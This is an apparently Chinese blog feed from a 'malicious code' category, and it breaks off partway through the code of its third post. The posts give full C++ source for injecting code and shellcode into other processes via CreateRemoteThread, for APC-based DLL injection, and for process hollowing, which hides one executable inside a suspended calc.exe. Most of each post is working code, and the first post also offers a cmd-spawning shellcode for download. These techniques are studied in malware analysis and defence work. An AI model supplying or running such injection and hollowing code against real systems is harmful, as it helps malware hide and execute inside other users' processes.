Quantcast
Channel: 程序人生 »恶意代码
Viewing all 15 articles
Browse latest View live

代码注入技术

$
0
0

代码注入相对DLL注入来说更加隐蔽,但是对技术的要求要更高,个人以为代码注入最好注入稳定的Shellcode。代码注入需要用到的API有VirtualAllocEx、WriteProcessMemory、CreateRemoteThread,类似于DLL注入。通常VirtualAllocEx和WriteProcessMemory会被调用两次,分别是处理线程函数以及线程函数参数,然后通过调用CreateRemoteThread来执行代码。当如如果是注入Shellcode就只要调用一次就够了,如果是注入线程函数,需要正确的计算函数的大小,通过#pragma check_stack指令来实现(静态函数、同时关闭增量链接、Release版本)。下面的代码是一个演示弹出MessageBox的代码注入:

1
2
3
4
5
6
7
8
9
10
11
// CodeInjector.h
#ifndef _CODE_INJECTOR_H__
#define _CODE_INJECTOR_H__
 
#include <windows.h>
 
#define CHECK_NULL_RET(bCondition) if (!bCondition) goto Exit0
 
#define REMOTE_ALLOC_SIZE (1024 * 4)
 
#endif
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
// Main.cpp
// Author: 代码疯子
// Blog: http://www.programlife.net/
#include <stdio.h>
#include <string.h>
#include "CodeInjector.h"
 
typedef struct _INJECT_PARAM
{
	CHAR szMsgTitle[64];
	CHAR szMsgContent[256];
 
	DWORD dwMessageBoxA;
} INJECT_PARAM, *PINJECT_PARAM;
 
#pragma check_stack(off)
static DWORD WINAPI RemoteThreadProc(LPVOID lpParameter)
{
	typedef int (WINAPI *PFN_MessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
	PINJECT_PARAM lpParam = (PINJECT_PARAM)lpParameter;
	PFN_MessageBoxA pfnMessageBoxA = (PFN_MessageBoxA)lpParam->dwMessageBoxA;
 
	pfnMessageBoxA(NULL, lpParam->szMsgContent, lpParam->szMsgTitle, MB_ICONWARNING);
 
	return TRUE;
}
 
static void AfterRemoteThreadProc(void){ return ;}
#pragma check_stack
 
BOOL EnableDebugPrivilege(void)
{
	HANDLE hToken; 
	TOKEN_PRIVILEGES tkp;
	BOOL bRet = FALSE;
 
	bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	CHECK_NULL_RET(bRet);
 
	bRet = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
	CHECK_NULL_RET(bRet);
	tkp.PrivilegeCount = 1;  
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
 
	bRet = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
	CHECK_NULL_RET(bRet);
	bRet = TRUE;
 
Exit0:
	CloseHandle(hToken);
	return bRet;
}
 
BOOL InjectCode(DWORD dwPid)
{
	BOOL bRet = FALSE;
	HANDLE hProcess = NULL;
	LPVOID lpThreadProc = NULL;
	DWORD dwResult = 0;
	HANDLE hThread = NULL;
	DWORD dwThreadProcSize = 0;
	INJECT_PARAM stParam = {0};
	LPVOID lpParam = NULL;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	// Allocate memory for ThreadProc
	lpThreadProc = VirtualAllocEx(hProcess, NULL, REMOTE_ALLOC_SIZE, 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpThreadProc);
 
	dwThreadProcSize = (BYTE *)AfterRemoteThreadProc - (BYTE *)RemoteThreadProc;
	bRet = WriteProcessMemory(hProcess, lpThreadProc, (LPVOID)RemoteThreadProc, 
				dwThreadProcSize, &dwResult);
	CHECK_NULL_RET(bRet);
 
	HMODULE hUser32 = LoadLibrary(TEXT("user32.dll"));
	stParam.dwMessageBoxA = (DWORD)GetProcAddress(hUser32, "MessageBoxA");
 
	strcpy(stParam.szMsgTitle, "Just a Test");
	strcpy(stParam.szMsgContent, "Http://Www.ProgramLife.Net/");
 
	// Allocate memory for parameter
	lpParam = VirtualAllocEx(hProcess, NULL, sizeof(INJECT_PARAM), 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpParam);
 
	bRet = WriteProcessMemory(hProcess, lpParam, (LPVOID)&stParam, 
		sizeof(stParam), &dwResult);
	CHECK_NULL_RET(bRet);
 
	hThread = CreateRemoteThread(
				hProcess,
				NULL,
				0,
				(LPTHREAD_START_ROUTINE)lpThreadProc,
				lpParam,
				0,
				NULL);
	CHECK_NULL_RET(hThread);
 
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
 
Exit0:
	if (NULL != lpThreadProc)
	{
		VirtualFreeEx(hProcess, lpThreadProc, 0, MEM_RELEASE);
	}
	if (NULL != lpParam)
	{
		VirtualFreeEx(hProcess, lpParam, 0, MEM_RELEASE);
	}
	CloseHandle(hProcess);
	return bRet;
}
 
int main(int argc, char **argv)
{
	if (argc != 2)
	{
		printf("Usage: %s PID\n", argv[0]);
		return 1;
	}
 
	DWORD dwPid = atoi(argv[1]);
	InjectCode(dwPid);
 
	return 0;
}

恶意软件跨进程代码注入技术

如果是直接注入Shellcode,只需要为Shellcode分配空间,然后调用CreateRemoteThread执行即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
DWORD ReadShellcode(BYTE *pShellcode, CHAR *szShellcode)
{
	HANDLE hFile = CreateFileA(
						szShellcode,
						GENERIC_READ,
						FILE_SHARE_READ,
						NULL,
						OPEN_EXISTING,
						FILE_ATTRIBUTE_NORMAL,
						NULL);
 
	DWORD dwSize = GetFileSize(hFile, NULL);
	DWORD dwRead = 0;
 
	ReadFile(hFile, (LPVOID)pShellcode, dwSize, &dwRead, NULL);
	CloseHandle(hFile);
 
	return dwRead;
}
 
// szShellcode为Shellcode文件Path
BOOL InjectCode(DWORD dwPid, CHAR *szShellcode)
{
	BOOL bRet = FALSE;
	HANDLE hProcess = NULL;
	LPVOID lpThreadProc = NULL;
	BYTE pShellcode[SHELL_CODE_SIZE] = {0};
	DWORD dwShellcodeSize = 0;
	DWORD dwResult = 0;
	HANDLE hThread = NULL;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	lpThreadProc = VirtualAllocEx(hProcess, NULL, REMOTE_ALLOC_SIZE, 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpThreadProc);
 
	dwShellcodeSize = ReadShellcode(pShellcode, szShellcode);
	bRet = WriteProcessMemory(hProcess, lpThreadProc, (LPVOID)pShellcode, 
				dwShellcodeSize, &dwResult);
	CHECK_NULL_RET(bRet);
 
	hThread = CreateRemoteThread(
				hProcess,
				NULL,
				0,
				(LPTHREAD_START_ROUTINE)lpThreadProc,
				NULL,
				0,
				NULL);
	CHECK_NULL_RET(hThread);
 
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
 
Exit0:
	if (NULL != lpThreadProc)
	{
		VirtualFreeEx(hProcess, lpThreadProc, 0, MEM_RELEASE);
	}
	CloseHandle(hProcess);
	return bRet;
}

一篇说明一些细节的文章:http://hi.baidu.com/lufa2014/blog/item/f5a249cbee31e71ebe09e685.html

代码下载(普通注入、Shellcode注入、一个弹CMD的Shellcode)


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 代码注入技术
作者:代码疯子

您可能对下面的文章也感兴趣:

  1. 远线程DLL注入技术
  2. DllMain多线程死锁
  3. MFC/Win32 SDK从资源释放文件代码
  4. HeapAlloc引起的死锁
  5. 事件 互斥对象 信号量

通过异步过程调用(APC)注入DLL

$
0
0

关于APC的介绍,可以参考MSDN对Asynchronous Procedure Calls的介绍(索引APCs),下面是简单翻译的一段文字。

APC(Asynchronous Procedure Calls,异步过程调用)是指在一个特定的线程环境中异步的执行代码。当一个APC被添加到一个线程的APC队列的时候,系统会产生一个软中断;当线程下一次被调度的时候APC函数将被执行。操作系统产生的APC称为内核模式APC,应用程序产生的APC称为用户模式APC。只有当线程处于可唤醒状态(alertable state),用户模式的APC才会被执行。

每一个线程都有自己的APC队列,应用程序可以通过调用QueueUserAPC来队列中插入APC。当一个用户模式的APC插入APC队列之后,与之关联的线程并不会立即执行APC函数,除非线程进入可唤醒状态。当线程调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、WaitForMultipleObjectsEx、WaitForSingleObjectEx这些函数的时候会进入可唤醒状态。如果在APC插入队列之前线程已经进入等待状态,那么APC函数将不会被执行,但APC会仍然存在于队列之中,所以APC函数将会在线程下一次进入可唤醒状态的时候被执行。

如果要通过QueueUserAPC来注入DLL模块,可以向指定进程的每一个线程(增加执行机会)都插入一个APC,然后把LoadLibrary作为APC函数的过程函数,把DLL路径字符串作为过程函数的参数。

示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
// ApcInjection.cpp
// Author: 代码疯子
// Blog: http://www.programlife.net/
#include <windows.h>
#include <TlHelp32.h>
#include <stdio.h>
#include <string.h>
 
#define CHECK_NULL_RET(bCondition) if (!bCondition) goto Exit0
 
BOOL EnableDebugPrivilege(void)
{
	HANDLE hToken; 
	TOKEN_PRIVILEGES tkp;
	BOOL bRet = FALSE;
 
	bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	CHECK_NULL_RET(bRet);
 
	bRet = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
	CHECK_NULL_RET(bRet);
	tkp.PrivilegeCount = 1;  
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
 
	bRet = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
	CHECK_NULL_RET(bRet);
	bRet = TRUE;
 
Exit0:
	CloseHandle(hToken);
	return bRet;
}
 
BOOL ApcInject(DWORD dwPid, CHAR *pszDllPath)
{
	HANDLE hProcess = NULL;
	BOOL bRet = FALSE;
	HANDLE hSnapshot = NULL;
	LPVOID lpDllName = NULL;
	DWORD dwResult = 0;
	THREADENTRY32 te32;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	lpDllName = VirtualAllocEx(hProcess, NULL, strlen(pszDllPath) + 1, 
		MEM_COMMIT, PAGE_READWRITE);
	CHECK_NULL_RET(lpDllName);
 
	bRet = WriteProcessMemory(hProcess, lpDllName, (LPVOID)pszDllPath, 
		strlen(pszDllPath) + 1, &dwResult);
 
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPid);
	CHECK_NULL_RET((hSnapshot != INVALID_HANDLE_VALUE));
 
	te32.dwSize = sizeof(THREADENTRY32);
	bRet = Thread32First(hSnapshot, &te32);
	while (bRet)
	{
		if (te32.th32OwnerProcessID == dwPid)
		{
			HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
			if (hThread)
			{
				dwResult = QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpDllName);
				CloseHandle(hThread);
			}
		}
		te32.dwSize = sizeof(THREADENTRY32);
		bRet = Thread32Next(hSnapshot, &te32);
	}
 
Exit0:
	// VirtualFreeEx
	CloseHandle(hSnapshot);
	CloseHandle(hProcess);
 
	// Do NOT check this value
	return bRet;
}
 
int main(int argc, char **argv)
{
	if (argc != 3)
	{
		printf("Usage: %s PID DllPath\n", argv[0]);
		return 1;
	}
 
	ApcInject(atoi(argv[1]), argv[2]);
 
	return 0;
}

通过异步过程调用(APC)注入DLL
参考:《使用异步过程调用(APC)实现模块注入


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 通过异步过程调用(APC)注入DLL
作者:代码疯子

您可能对下面的文章也感兴趣:

  1. 代码注入技术
  2. 远线程DLL注入技术
  3. MFC/Win32 SDK从资源释放文件代码
  4. PE文件格式解析(四)——进程及模块显示
  5. DllMain多线程死锁

[译]动态加载并执行Win32可执行程序

$
0
0

本文所贴出的PoC代码将告诉你如何通过CreateProcess创建一个傀儡进程(称之为可执行程序A),并把dwCreationFlags设置为CREATE_SUSPENDED,然后把另一个可执行程序(称之为可执行程序B)的内容加载到所创建的进程空间中,最终借用傀儡进程(A)的外壳来执行可执行程序B的内容。同时这段代码也会告诉你如何手工对Win32可执行程序进行重定位处理,以及如何从进程空间中取消已经映射的EXE映像。

在Windows操作系统下,通过给CreateProcess传递一个CREATE_SUSPENDED参数可以使得被创建的进程处于挂起状态,此时EXE的映像会被加载到进程空间中,但是并不会立即被执行,除非调用ResumeThread。在调用ResumeThread之前,可以通过调用ReadProcessMemory和WriteProcessMemory这样的API来读写进程空间的内容,这使得这样一种情形成为可能:通过读取另一个可执行文件的内容来覆盖刚创建的处于挂起状态的进程的空间,然后通过原始进程的空间来执行第二个可执行程序的内容。可以通过如下的步骤来完成这个过程:

  1. 通过给CreateProcess传递CREATE_SUSPENDED参数来创建一个处于挂起状态的进程(该进程为可执行程序A的一次执行)
  2. 通过调用GetThreadContext来获取被挂起进程的CONTEXT。其中ebx寄存器指向进程的PEB,eax寄存器的值为进程的入口点地址。
  3. 通过PEB来获取进程的基地址,如[EBX + 8]
  4. 把第二个可执行程序(B)加载到内存中并进行对齐处理,如果文件对齐尺寸和内存对齐尺寸不一致的话,这个操作是必须的。
  5. 如果可执行程序B和进程A有相同基地址并且B的内存镜像尺寸小于进程A的内存镜像尺寸,那么只需要简单的调用WriteProcessMemory来把可执行程序B的镜像写到进程A的内存空间之中,并从基地址开始执行即可。
  6. 否则的话,需要通过调用ZwUnmapViewOfSection(由ntdll.dll导出)来取消可执行程序A的映像映射,然后通过VirtualAllocEx在进程A中为可执行程序B分配足够的空间。调用VirtualAllocEx的时候,必须提供可执行程序B的基址以确保所分配的空间是从指定的位置开始的。然后把可执行程序B的镜像复制到进程A的内存空间并从分配的空间的起始地址开始执行。
  7. 如果ZwUnmapViewOfSection操作失败,而可执行程序B时可重定位的(存在重定位表),那么可以再进程A的内存空间的任意位置为B分配足够的空间,然后基于所分配的空间进行为B进行重定位处理,然后把可执行程序B的镜像复制到进程A的内存空间并从分配的空间的起始地址开始执行。
  8. 把进程A的PEB中的基地址改为可执行程序B的基地址。
  9. 把线程上下文中的EAX寄存器的值设置为可执行程序B的入口点。
  10. 通过调用SetThreadContext来设置线程的上下文。
  11. 通过调用ResumeThread来执行被挂起的进程。

PoC展示的技术点:

  1. 手工对可执行程序进行重定位处理(如果存在有重定位表的话)。
  2. 使用ZwUnmapViewOfSection取消原始EXE的内存映像的映射。
  3. 使用ReadProcessMemory和WriteProcessMemory来读写别的进程的内存空间。
  4. 通过修改进程的PEB来修改其基地址的值。

使用方法:傀儡进程默认为calc.exe(计算器),命令行下输入 loadEXE.exe

联系作者:chewkeong[AT]security.org.sg
原文链接:Dynamic Forking of Win32 EXE
原始代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
//******************************************************************************************
// loadEXE.cpp : Defines the entry point for the console application.
//
// Proof-Of-Concept Code
// Copyright (c) 2004
// All rights reserved.
//
// Permission is hereby granted, free of charge, to any person obtaining a
// copy of this software and associated documentation files (the
// "Software"), to deal in the Software without restriction, including
// without limitation the rights to use, copy, modify, merge, publish,
// distribute, and/or sell copies of the Software, and to permit persons
// to whom the Software is furnished to do so, provided that the above
// copyright notice(s) and this permission notice appear in all copies of
// the Software and that both the above copyright notice(s) and this
// permission notice appear in supporting documentation.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
// OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
// MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT
// OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR
// HOLDERS INCLUDED IN THIS NOTICE BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL
// INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING
// FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT,
// NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION
// WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
//
// Usage:
// loadEXE <EXE filename>
//
// This will execute calc.exe in suspended mode and replace its image with
// the new EXE's image.  The thread is then resumed, thus causing the new EXE to
// execute within the process space of svchost.exe.
//
//******************************************************************************************
 
#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>
#include <psapi.h>
 
struct PE_Header 
{
	unsigned long signature;
	unsigned short machine;
	unsigned short numSections;
	unsigned long timeDateStamp;
	unsigned long pointerToSymbolTable;
	unsigned long numOfSymbols;
	unsigned short sizeOfOptionHeader;
	unsigned short characteristics;
};
 
struct PE_ExtHeader
{
	unsigned short magic;
	unsigned char majorLinkerVersion;
	unsigned char minorLinkerVersion;
	unsigned long sizeOfCode;
	unsigned long sizeOfInitializedData;
	unsigned long sizeOfUninitializedData;
	unsigned long addressOfEntryPoint;
	unsigned long baseOfCode;
	unsigned long baseOfData;
	unsigned long imageBase;
	unsigned long sectionAlignment;
	unsigned long fileAlignment;
	unsigned short majorOSVersion;
	unsigned short minorOSVersion;
	unsigned short majorImageVersion;
	unsigned short minorImageVersion;
	unsigned short majorSubsystemVersion;
	unsigned short minorSubsystemVersion;
	unsigned long reserved1;
	unsigned long sizeOfImage;
	unsigned long sizeOfHeaders;
	unsigned long checksum;
	unsigned short subsystem;
	unsigned short DLLCharacteristics;
	unsigned long sizeOfStackReserve;
	unsigned long sizeOfStackCommit;
	unsigned long sizeOfHeapReserve;
	unsigned long sizeOfHeapCommit;
	unsigned long loaderFlags;
	unsigned long numberOfRVAAndSizes;
	unsigned long exportTableAddress;
	unsigned long exportTableSize;
	unsigned long importTableAddress;
	unsigned long importTableSize;
	unsigned long resourceTableAddress;
	unsigned long resourceTableSize;
	unsigned long exceptionTableAddress;
	unsigned long exceptionTableSize;
	unsigned long certFilePointer;
	unsigned long certTableSize;
	unsigned long relocationTableAddress;
	unsigned long relocationTableSize;
	unsigned long debugDataAddress;
	unsigned long debugDataSize;
	unsigned long archDataAddress;
	unsigned long archDataSize;
	unsigned long globalPtrAddress;
	unsigned long globalPtrSize;
	unsigned long TLSTableAddress;
	unsigned long TLSTableSize;
	unsigned long loadConfigTableAddress;
	unsigned long loadConfigTableSize;
	unsigned long boundImportTableAddress;
	unsigned long boundImportTableSize;
	unsigned long importAddressTableAddress;
	unsigned long importAddressTableSize;
	unsigned long delayImportDescAddress;
	unsigned long delayImportDescSize;
	unsigned long COMHeaderAddress;
	unsigned long COMHeaderSize;
	unsigned long reserved2;
	unsigned long reserved3;
};
 
 
struct SectionHeader
{
	unsigned char sectionName[8];
	unsigned long virtualSize;
	unsigned long virtualAddress;
	unsigned long sizeOfRawData;
	unsigned long pointerToRawData;
	unsigned long pointerToRelocations;
	unsigned long pointerToLineNumbers;
	unsigned short numberOfRelocations;
	unsigned short numberOfLineNumbers;
	unsigned long characteristics;
};
 
struct MZHeader
{
	unsigned short signature;
	unsigned short partPag;
	unsigned short pageCnt;
	unsigned short reloCnt;
	unsigned short hdrSize;
	unsigned short minMem;
	unsigned short maxMem;
	unsigned short reloSS;
	unsigned short exeSP;
	unsigned short chksum;
	unsigned short exeIP;
	unsigned short reloCS;
	unsigned short tablOff;
	unsigned short overlay;
	unsigned char reserved[32];
	unsigned long offsetToPE;
};
 
 
struct ImportDirEntry
{
	DWORD importLookupTable;
	DWORD timeDateStamp;
	DWORD fowarderChain;
	DWORD nameRVA;
	DWORD importAddressTable;
};
 
 
//******************************************************************************************
//
// This function reads the MZ, PE, PE extended and Section Headers from an EXE file.
//
//******************************************************************************************
 
bool readPEInfo(FILE *fp, MZHeader *outMZ, PE_Header *outPE, PE_ExtHeader *outpeXH,
				SectionHeader **outSecHdr)
{
	fseek(fp, 0, SEEK_END);
	long fileSize = ftell(fp);
	fseek(fp, 0, SEEK_SET);
 
	if(fileSize < sizeof(MZHeader))
	{
		printf("File size too small\n");		
		return false;
	}
 
	// read MZ Header
	MZHeader mzH;
	fread(&mzH, sizeof(MZHeader), 1, fp);
 
	if(mzH.signature != 0x5a4d)		// MZ
	{
		printf("File does not have MZ header\n");
		return false;
	}
 
	//printf("Offset to PE Header = %X\n", mzH.offsetToPE);
 
	if((unsigned long)fileSize < mzH.offsetToPE + sizeof(PE_Header))
	{
		printf("File size too small\n");		
		return false;
	}
 
	// read PE Header
	fseek(fp, mzH.offsetToPE, SEEK_SET);
	PE_Header peH;
	fread(&peH, sizeof(PE_Header), 1, fp);
 
	//printf("Size of option header = %d\n", peH.sizeOfOptionHeader);
	//printf("Number of sections = %d\n", peH.numSections);
 
	if(peH.sizeOfOptionHeader != sizeof(PE_ExtHeader))
	{
		printf("Unexpected option header size.\n");
 
		return false;
	}
 
	// read PE Ext Header
	PE_ExtHeader peXH;
 
	fread(&peXH, sizeof(PE_ExtHeader), 1, fp);
 
	//printf("Import table address = %X\n", peXH.importTableAddress);
	//printf("Import table size = %X\n", peXH.importTableSize);
	//printf("Import address table address = %X\n", peXH.importAddressTableAddress);
	//printf("Import address table size = %X\n", peXH.importAddressTableSize);
 
 
	// read the sections
	SectionHeader *secHdr = new SectionHeader[peH.numSections];
 
	fread(secHdr, sizeof(SectionHeader) * peH.numSections, 1, fp);
 
	*outMZ = mzH;
	*outPE = peH;
	*outpeXH = peXH;
	*outSecHdr = secHdr;
 
	return true;
}
 
 
//******************************************************************************************
//
// This function calculates the size required to load an EXE into memory with proper alignment.
//
//******************************************************************************************
 
int calcTotalImageSize(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
				       SectionHeader *inSecHdr)
{
	int result = 0;
	int alignment = inpeXH->sectionAlignment;
 
	if(inpeXH->sizeOfHeaders % alignment == 0)
		result += inpeXH->sizeOfHeaders;
	else
	{
		int val = inpeXH->sizeOfHeaders / alignment;
		val++;
		result += (val * alignment);
	}
 
 
	for(int i = 0; i < inPE->numSections; i++)
	{
		if(inSecHdr[i].virtualSize)
		{
			if(inSecHdr[i].virtualSize % alignment == 0)
				result += inSecHdr[i].virtualSize;
			else
			{
				int val = inSecHdr[i].virtualSize / alignment;
				val++;
				result += (val * alignment);
			}
		}
	}
 
	return result;
}
 
 
//******************************************************************************************
//
// This function calculates the aligned size of a section
//
//******************************************************************************************
 
unsigned long getAlignedSize(unsigned long curSize, unsigned long alignment)
{	
	if(curSize % alignment == 0)
		return curSize;
	else
	{
		int val = curSize / alignment;
		val++;
		return (val * alignment);
	}
}
 
 
//******************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//******************************************************************************************
 
bool loadPE(FILE *fp, MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
			SectionHeader *inSecHdr, LPVOID ptrLoc)
{
	char *outPtr = (char *)ptrLoc;
 
	fseek(fp, 0, SEEK_SET);
	unsigned long headerSize = inpeXH->sizeOfHeaders;
 
    int i = 0;
 
	// certain PE files have sectionHeaderSize value > size of PE file itself.  
	// this loop handles this situation by find the section that is nearest to the
	// PE header.
 
	for(i = 0; i < inPE->numSections; i++)
	{
		if(inSecHdr[i].pointerToRawData < headerSize)
			headerSize = inSecHdr[i].pointerToRawData;
	}
 
	// read the PE header
	unsigned long readSize = fread(outPtr, 1, headerSize, fp);
	//printf("HeaderSize = %d\n", headerSize);
	if(readSize != headerSize)
	{
		printf("Error reading headers (%d %d)\n", readSize, headerSize);
		return false;		
	}
 
	outPtr += getAlignedSize(inpeXH->sizeOfHeaders, inpeXH->sectionAlignment);
 
	// read the sections
	for(i = 0; i < inPE->numSections; i++)
	{
		if(inSecHdr[i].sizeOfRawData > 0)
		{
			unsigned long toRead = inSecHdr[i].sizeOfRawData;
			if(toRead > inSecHdr[i].virtualSize)
				toRead = inSecHdr[i].virtualSize;
 
			fseek(fp, inSecHdr[i].pointerToRawData, SEEK_SET);
			readSize = fread(outPtr, 1, toRead, fp);
 
			if(readSize != toRead)
			{
				printf("Error reading section %d\n", i);
				return false;
			}
			outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
		}
		else
		{
			// this handles the case where the PE file has an empty section. E.g. UPX0 section
			// in UPXed files.
 
			if(inSecHdr[i].virtualSize)
				outPtr += getAlignedSize(inSecHdr[i].virtualSize, inpeXH->sectionAlignment);
		}
	}
 
	return true;
}
 
 
struct FixupBlock
{
	unsigned long pageRVA;
	unsigned long blockSize;
};
 
 
//******************************************************************************************
//
// This function loads a PE file into memory with proper alignment.
// Enough memory must be allocated at ptrLoc.
//
//******************************************************************************************
 
void doRelocation(MZHeader *inMZ, PE_Header *inPE, PE_ExtHeader *inpeXH,
			      SectionHeader *inSecHdr, LPVOID ptrLoc, DWORD newBase)
{
	if(inpeXH->relocationTableAddress && inpeXH->relocationTableSize)
	{
		FixupBlock *fixBlk = (FixupBlock *)((char *)ptrLoc + inpeXH->relocationTableAddress);
		long delta = newBase - inpeXH->imageBase;
 
		while(fixBlk->blockSize)
		{
			//printf("Addr = %X\n", fixBlk->pageRVA);
			//printf("Size = %X\n", fixBlk->blockSize);
 
			int numEntries = (fixBlk->blockSize - sizeof(FixupBlock)) >> 1;
			//printf("Num Entries = %d\n", numEntries);
 
			unsigned short *offsetPtr = (unsigned short *)(fixBlk + 1);
 
			for(int i = 0; i < numEntries; i++)
			{
				DWORD *codeLoc = (DWORD *)((char *)ptrLoc + fixBlk->pageRVA + (*offsetPtr & 0x0FFF));
 
				int relocType = (*offsetPtr & 0xF000) >> 12;
 
				//printf("Val = %X\n", *offsetPtr);
				//printf("Type = %X\n", relocType);
 
